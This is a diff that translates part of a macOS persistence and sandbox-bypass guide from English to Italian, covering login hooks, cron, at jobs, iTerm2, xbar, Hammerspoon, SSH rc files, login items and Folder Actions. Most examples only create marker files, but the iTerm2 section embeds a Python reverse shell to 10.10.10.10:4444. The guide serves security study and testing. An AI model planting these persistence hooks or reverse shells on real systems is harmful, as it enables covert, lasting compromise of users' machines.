**`/Library/Audio/Plug-ins/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Richiesta di root +- **Attivazione**: Riavvia coreaudiod o il computer - **`~/Library/Audio/Plug-ins/Components`** - - **Trigger**: Restart coreaudiod or the computer +- **Attivazione**: Riavvia coreaudiod o il computer - **`/System/Library/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Richiesta di root +- **Attivazione**: Riavvia coreaudiod o il computer -#### Description +#### Descrizione -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. +Secondo i writeup precedenti è possibile **compilare alcuni plugin audio** e farli caricare. -### QuickLook Plugins +### Plugin QuickLook Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Potresti ottenere un accesso TCC extra -#### Location +#### Posizione - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -339,29 +316,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - `/Applications/AppNameHere/Contents/Library/QuickLook/` - `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Description & Exploitation +#### Descrizione & Sfruttamento -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +I plugin QuickLook possono essere eseguiti quando **attivi l'anteprima di un file** (premi la barra spaziatrice con il file selezionato in Finder) e un **plugin che supporta quel tipo di file** è installato. -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +È possibile compilare il proprio plugin QuickLook, posizionarlo in una delle posizioni precedenti per caricarlo e poi andare su un file supportato e premere spazio per attivarlo. ### ~~Login/Logout Hooks~~ > [!CAUTION] -> This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +> Questo non ha funzionato per me, né con il LoginHook dell'utente né con il LogoutHook di root **Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione -- You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - - `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` - -They are deprecated but can be used to execute commands when a user logs in. +- Devi essere in grado di eseguire qualcosa come `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +- `Lo`cato in `~/Library/Preferences/com.apple.loginwindow.plist` +Sono deprecati ma possono essere usati per eseguire comandi quando un utente accede. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,97 +347,85 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +Questa impostazione è memorizzata in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { - LoginHook = "/Users/username/hook.sh"; - LogoutHook = "/Users/username/hook.sh"; - MiniBuddyLaunch = 0; - TALLogoutReason = "Shut Down"; - TALLogoutSavesState = 0; - oneTimeSSMigrationComplete = 1; +LoginHook = "/Users/username/hook.sh"; +LogoutHook = "/Users/username/hook.sh"; +MiniBuddyLaunch = 0; +TALLogoutReason = "Shut Down"; +TALLogoutSavesState = 0; +oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +Per eliminarlo: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` +L'utente root è memorizzato in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** -The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** - -## Conditional Sandbox Bypass +## Bypass Condizionale del Sandbox > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. +> Qui puoi trovare le posizioni di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** e **aspettandoti condizioni non super comuni** come specifici **programmi installati, azioni "non comuni" dell'utente** o ambienti. ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - However, you need to be able to execute `crontab` binary - - Or be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Tuttavia, devi essere in grado di eseguire il binario `crontab` +- O essere root +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** - - Root required for direct write access. No root required if you can execute `crontab ` - - **Trigger**: Depends on the cron job +- Richiesta root per accesso diretto in scrittura. Non è richiesta root se puoi eseguire `crontab ` +- **Attivazione**: Dipende dal lavoro cron -#### Description & Exploitation - -List the cron jobs of the **current user** with: +#### Descrizione & Sfruttamento +Elenca i lavori cron dell'**utente corrente** con: ```bash crontab -l ``` +Puoi anche vedere tutti i cron job degli utenti in **`/usr/lib/cron/tabs/`** e **`/var/at/tabs/`** (richiede root). -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +In MacOS si possono trovare diverse cartelle che eseguono script con **certa frequenza** in: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +Lì puoi trovare i **cron** **jobs** regolari, i **at** **jobs** (non molto usati) e i **periodic** **jobs** (principalmente utilizzati per pulire i file temporanei). I lavori periodici giornalieri possono essere eseguiti, ad esempio, con: `periodic daily`. -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -To add a **user cronjob programatically** it's possible to use: - +Per aggiungere un **user cronjob programmaticamente** è possibile utilizzare: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` - ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - iTerm2 use to have granted TCC permissions +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- iTerm2 aveva permessi TCC concessi #### Locations - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - - **Trigger**: Open iTerm +- **Trigger**: Apri iTerm - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** - - **Trigger**: Open iTerm +- **Trigger**: Apri iTerm - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - - **Trigger**: Open iTerm +- **Trigger**: Apri iTerm #### Description & Exploitation -Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: - +Gli script memorizzati in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** verranno eseguiti. Ad esempio: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -470,52 +434,44 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` - -or: - +o: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); - async with iterm2.CustomControlSequenceMonitor( - connection, "shared-secret", r'^create-window$') as mon: - while True: - match = await mon.async_get() - await iterm2.Window.async_create(connection) +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); +async with iterm2.CustomControlSequenceMonitor( +connection, "shared-secret", r'^create-window$') as mon: +while True: +match = await mon.async_get() +await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` - -The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: - +Lo script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** verrà eseguito: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` +Le preferenze di iTerm2 situate in **`~/Library/Preferences/com.googlecode.iterm2.plist`** possono **indicare un comando da eseguire** quando il terminale iTerm2 viene aperto. -The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. - -This setting can be configured in the iTerm2 settings: +Questa impostazione può essere configurata nelle impostazioni di iTerm2:
-And the command is reflected in the preferences: - +E il comando è riflesso nelle preferenze: ```bash plutil -p com.googlecode.iterm2.plist { - [...] - "New Bookmarks" => [ - 0 => { - [...] - "Initial Text" => "touch /tmp/iterm-start-command" +[...] +"New Bookmarks" => [ +0 => { +[...] +"Initial Text" => "touch /tmp/iterm-start-command" ``` - -You can set the command to execute with: - +Puoi impostare il comando da eseguire con: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist @@ -526,28 +482,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` - > [!WARNING] -> Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. +> È altamente probabile che ci siano **altri modi per abusare delle preferenze di iTerm2** per eseguire comandi arbitrari. ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But xbar must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma xbar deve essere installato +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Richiede permessi di Accessibilità -#### Location +#### Posizione - **`~/Library/Application\ Support/xbar/plugins/`** - - **Trigger**: Once xbar is executed +- **Attivazione**: Una volta che xbar è eseguito -#### Description - -If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: +#### Descrizione +Se il popolare programma [**xbar**](https://github.com/matryer/xbar) è installato, è possibile scrivere uno script shell in **`~/Library/Application\ Support/xbar/plugins/`** che verrà eseguito all'avvio di xbar: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -555,79 +509,76 @@ touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` - ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Hammerspoon must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma Hammerspoon deve essere installato +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Richiede permessi di Accessibilità #### Location - **`~/.hammerspoon/init.lua`** - - **Trigger**: Once hammerspoon is executed +- **Trigger**: Una volta eseguito hammerspoon #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly. - -The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) funge da piattaforma di automazione per **macOS**, sfruttando il **linguaggio di scripting LUA** per le sue operazioni. In particolare, supporta l'integrazione di codice AppleScript completo e l'esecuzione di script shell, migliorando significativamente le sue capacità di scripting. +L'app cerca un singolo file, `~/.hammerspoon/init.lua`, e quando avviata, lo script verrà eseguito. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` - ### BetterTouchTool -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But BetterTouchTool must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation-Shortcuts and Accessibility permissions +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma BetterTouchTool deve essere installato +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Richiede permessi di Automazione-Shortcuts e Accessibilità #### Location - `~/Library/Application Support/BetterTouchTool/*` -This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own **shortcut and action to execute in the database** to make it execute arbitrary code (a shortcut could be to just to press a key). +Questo strumento consente di indicare applicazioni o script da eseguire quando vengono premuti alcuni shortcut. Un attaccante potrebbe essere in grado di configurare il proprio **shortcut e azione da eseguire nel database** per far eseguire codice arbitrario (uno shortcut potrebbe essere semplicemente premere un tasto). ### Alfred -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Alfred must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation, Accessibility and even Full-Disk access permissions +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma Alfred deve essere installato +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- Richiede permessi di Automazione, Accessibilità e persino accesso a Disco Completo #### Location - `???` -It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows). +Consente di creare flussi di lavoro che possono eseguire codice quando vengono soddisfatte determinate condizioni. Potenzialmente è possibile per un attaccante creare un file di flusso di lavoro e farlo caricare ad Alfred (è necessario pagare la versione premium per utilizzare i flussi di lavoro). ### SSHRC Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But ssh needs to be enabled and used -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - SSH use to have FDA access +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma ssh deve essere abilitato e utilizzato +- Bypass TCC: [✅](https://emojipedia.org/check-mark-button) +- L'uso di SSH richiede accesso FDA #### Location - **`~/.ssh/rc`** - - **Trigger**: Login via ssh +- **Trigger**: Accesso via ssh - **`/etc/ssh/sshrc`** - - Root required - - **Trigger**: Login via ssh +- Richiesta di root +- **Trigger**: Accesso via ssh > [!CAUTION] -> To turn ssh on requres Full Disk Access: +> Per attivare ssh è necessario l'accesso a Disco Completo: > > ```bash > sudo systemsetup -setremotelogin on @@ -635,30 +586,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Description & Exploitation -By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. +Per impostazione predefinita, a meno che `PermitUserRC no` in `/etc/ssh/sshd_config`, quando un utente **accede via SSH** gli script **`/etc/ssh/sshrc`** e **`~/.ssh/rc`** verranno eseguiti. ### **Login Items** Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to execute `osascript` with args -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma è necessario eseguire `osascript` con argomenti +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) #### Locations - **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** - - **Trigger:** Login - - Exploit payload stored calling **`osascript`** +- **Trigger:** Accesso +- Payload di exploit memorizzato chiamando **`osascript`** - **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** - - **Trigger:** Login - - Root required +- **Trigger:** Accesso +- Richiesta di root #### Description -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: - +In Preferenze di Sistema -> Utenti e Gruppi -> **Login Items** puoi trovare **elementi da eseguire quando l'utente accede**.\ +È possibile elencarli, aggiungere e rimuovere dalla riga di comando: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -669,57 +619,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` +Questi elementi sono memorizzati nel file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +Gli **elementi di accesso** possono **anche** essere indicati utilizzando l'API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) che memorizzerà la configurazione in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -**Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +### ZIP come elemento di accesso -### ZIP as Login Item +(Controlla la sezione precedente sugli elementi di accesso, questa è un'estensione) -(Check previous section about Login Items, this is an extension) +Se memorizzi un file **ZIP** come un **elemento di accesso**, l'**`Utility di archiviazione`** lo aprirà e se lo zip era, ad esempio, memorizzato in **`~/Library`** e conteneva la cartella **`LaunchAgents/file.plist`** con una backdoor, quella cartella verrà creata (non lo è per impostazione predefinita) e il plist verrà aggiunto in modo che la prossima volta che l'utente accede di nuovo, la **backdoor indicata nel plist verrà eseguita**. -If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. - -Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. +Un'altra opzione sarebbe creare i file **`.bash_profile`** e **`.zshenv`** all'interno della HOME dell'utente, quindi se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque. ### At -Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) +Scrittura: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to **execute** **`at`** and it must be **enabled** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma devi **eseguire** **`at`** e deve essere **abilitato** +- Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Posizione -- Need to **execute** **`at`** and it must be **enabled** +- Devi **eseguire** **`at`** e deve essere **abilitato** -#### **Description** +#### **Descrizione** -`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +I compiti `at` sono progettati per **programmare compiti una tantum** da eseguire in determinati momenti. A differenza dei cron job, i compiti `at` vengono automaticamente rimossi dopo l'esecuzione. È fondamentale notare che questi compiti sono persistenti attraverso i riavvii del sistema, contrassegnandoli come potenziali preoccupazioni di sicurezza in determinate condizioni. +Per **impostazione predefinita** sono **disabilitati** ma l'utente **root** può **abilitarli** con: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file in 1 hour: - +Questo creerà un file in 1 ora: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` - -Check the job queue using `atq:` - +Controlla la coda di lavoro usando `atq:` ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` - -Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` - +Sopra possiamo vedere due lavori programmati. Possiamo stampare i dettagli del lavoro usando `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -744,18 +686,16 @@ LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { - echo 'Execution directory inaccessible' >&2 - exit 1 +echo 'Execution directory inaccessible' >&2 +exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` - > [!WARNING] -> If AT tasks aren't enabled the created tasks won't be executed. - -The **job files** can be found at `/private/var/at/jobs/` +> Se i compiti AT non sono abilitati, i compiti creati non verranno eseguiti. +I **file di lavoro** possono essere trovati in `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -764,46 +704,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` +Il nome del file contiene la coda, il numero del lavoro e l'orario programmato per l'esecuzione. Ad esempio, diamo un'occhiata a `a0001a019bdcd2`. -The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. +- `a` - questa è la coda +- `0001a` - numero del lavoro in esadecimale, `0x1a = 26` +- `019bdcd2` - tempo in esadecimale. Rappresenta i minuti trascorsi dall'epoca. `0x019bdcd2` è `26991826` in decimale. Se lo moltiplichiamo per 60 otteniamo `1619509560`, che è `GMT: 27 aprile 2021, martedì 7:46:00`. -- `a` - this is the queue -- `0001a` - job number in hex, `0x1a = 26` -- `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. +Se stampiamo il file del lavoro, scopriamo che contiene le stesse informazioni ottenute usando `at -c`. -If we print the job file, we find that it contains the same information we got using `at -c`. - -### Folder Actions +### Azioni della cartella Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - It has some basic TCC permissions like Desktop, Documents and Downloads +- Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ma è necessario poter chiamare `osascript` con argomenti per contattare **`System Events`** per poter configurare le Azioni della cartella +- Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Ha alcune autorizzazioni TCC di base come Desktop, Documenti e Download -#### Location +#### Posizione - **`/Library/Scripts/Folder Action Scripts`** - - Root required - - **Trigger**: Access to the specified folder +- Richiesta di root +- **Attivazione**: Accesso alla cartella specificata - **`~/Library/Scripts/Folder Action Scripts`** - - **Trigger**: Access to the specified folder +- **Attivazione**: Accesso alla cartella specificata -#### Description & Exploitation +#### Descrizione & Sfruttamento -Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands. +Le Azioni della cartella sono script attivati automaticamente da modifiche in una cartella, come l'aggiunta, la rimozione di elementi o altre azioni come l'apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere attivate in modi diversi, come usando l'interfaccia Finder o comandi del terminale. -To set up Folder Actions, you have options like: +Per impostare le Azioni della cartella, hai opzioni come: -1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service. -2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder. -3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action. - - This method is particularly useful for embedding the action into the system, offering a level of persistence. - -The following script is an example of what can be executed by a Folder Action: +1. Creare un flusso di lavoro per le Azioni della cartella con [Automator](https://support.apple.com/guide/automator/welcome/mac) e installarlo come servizio. +2. Allegare uno script manualmente tramite la Configurazione delle Azioni della cartella nel menu contestuale di una cartella. +3. Utilizzare OSAScript per inviare messaggi Apple Event a `System Events.app` per impostare programmaticamente un'Azioni della cartella. +- Questo metodo è particolarmente utile per incorporare l'azione nel sistema, offrendo un livello di persistenza. +Il seguente script è un esempio di ciò che può essere eseguito da un'Azioni della cartella: ```applescript // source.js var app = Application.currentApplication(); @@ -813,15 +751,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` - -To make the above script usable by Folder Actions, compile it using: - +Per rendere lo script sopra utilizzabile da Folder Actions, compilarlo utilizzando: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` - -After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder. - +Dopo che lo script è stato compilato, imposta le Azioni della Cartella eseguendo lo script qui sotto. Questo script abiliterà le Azioni della Cartella globalmente e collegherà specificamente lo script precedentemente compilato alla cartella Desktop. ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -831,17 +765,13 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` - -Run the setup script with: - +Esegui lo script di configurazione con: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` +- Questo è il modo per implementare questa persistenza tramite GUI: -- This is the way yo implement this persistence via GUI: - -This is the script that will be executed: - +Questo è lo script che verrà eseguito: ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -850,59 +780,55 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` +Compila con: `osacompile -l JavaScript -o folder.scpt source.js` -Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` - -Move it to: - +Spostalo in: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` - -Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp): +Poi, apri l'app `Folder Actions Setup`, seleziona la **cartella che desideri monitorare** e seleziona nel tuo caso **`folder.scpt`** (nel mio caso l'ho chiamata output2.scp):
-Now, if you open that folder with **Finder**, your script will be executed. +Ora, se apri quella cartella con **Finder**, il tuo script verrà eseguito. -This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. +Questa configurazione è stata memorizzata nel **plist** situato in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in formato base64. -Now, lets try to prepare this persistence without GUI access: +Ora, proviamo a preparare questa persistenza senza accesso GUI: -1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: - - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Remove** the Folder Actions you just set: +1. **Copia `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in `/tmp` per eseguire il backup: +- `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` +2. **Rimuovi** le Folder Actions che hai appena impostato:
